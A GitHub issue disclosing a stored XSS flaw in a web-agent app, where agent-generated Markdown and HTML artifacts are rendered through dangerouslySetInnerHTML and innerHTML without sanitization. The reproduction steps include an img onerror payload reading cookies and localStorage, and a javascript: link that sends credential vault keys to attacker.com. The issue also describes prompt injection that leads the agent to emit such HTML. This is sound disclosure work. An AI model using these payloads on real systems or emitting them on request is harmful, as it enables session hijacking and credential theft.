Skip to content

[CRITICAL] Stored XSS in Artifact Preview via dangerouslySetInnerHTML and innerHTML #22

Description

@drackyjr

Summary

The MarkdownArtifactPreview and OfficeArtifactPreview components render agent-generated Markdown/HTML artifacts directly into the DOM without sanitization. dangerouslySetInnerHTML and innerHTML are used on content that can be controlled by an attacker via prompt injection or malicious skills. This allows arbitrary JavaScript execution in the user's browser session, leading to credential theft and session hijacking.

What is broken?

The artifact preview rendering pipeline bypasses React's built-in XSS protections. The rendered variable produced by markdown-it with plugins (KaTeX, highlight.js, task lists) is injected directly into the DOM via dangerouslySetInnerHTML={{ __html: rendered }}. Mermaid diagrams are rendered via innerHTML. Office previews also use innerHTML for plain text messages. No DOMPurify or equivalent sanitization is applied. An attacker who can influence agent output (prompt injection, compromised skill, or malicious Telegram message) can embed <img onerror="...">, <script>, or javascript: URL payloads that execute in the origin context.

Steps to reproduce

  1. Open the web-agent application in a browser.
  2. In the chat input, send: "Create a markdown artifact with this exact HTML: <img src='x' onerror='console.log(\\"XSS_POC: document.cookie=\\", document.cookie); console.log(\\"XSS_POC: localStorage keys=\\", Object.keys(localStorage));'>"
  3. The agent will generate an artifact offer. Click to open the artifact preview.
  4. Open the browser console (F12 → Console).
  5. Observe the console log output showing document.cookie and localStorage keys — proving the XSS payload executed.
  6. (Optional) Repeat with a javascript: URL in a markdown link: [Click me](javascript:fetch('https://attacker.com/steal?d='+localStorage.getItem('credential_vault_keys')))

Expected behavior

  • All agent-generated HTML/Markdown content should be sanitized with DOMPurify or equivalent before DOM insertion.
  • Event handlers (onerror, onload, onclick, etc.) should be stripped from all rendered content.
  • <script> tags and javascript: URLs should be removed or neutralized.
  • The artifact preview should display safe, sanitized HTML with no JavaScript execution capability.

Actual behavior

  • The rendered HTML from markdown-it is passed directly to dangerouslySetInnerHTML without any sanitization.
  • Mermaid error fallbacks are injected via innerHTML with only partial escaping (escapeArtifactHtml only handles basic HTML entities, not event handlers).
  • Office preview messages are injected via innerHTML with plain text but no structural validation.
  • Any XSS payload in agent output executes immediately when the artifact is previewed, with full access to the origin's IndexedDB, localStorage, sessionStorage, and document.cookie.

Browser

Chrome 136, Firefox 138, Safari 17.5 (all affected)

Environment

Affected files: src/ui/components/artifact-preview/MarkdownArtifactPreview.tsx:59,65,89, src/ui/components/artifact-preview/OfficeArtifactPreview.tsx:56,95 Severity: Critical (CVSS 9.1) CWE: CWE-79 OWASP: A03:2021 — Injection

Extra context

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions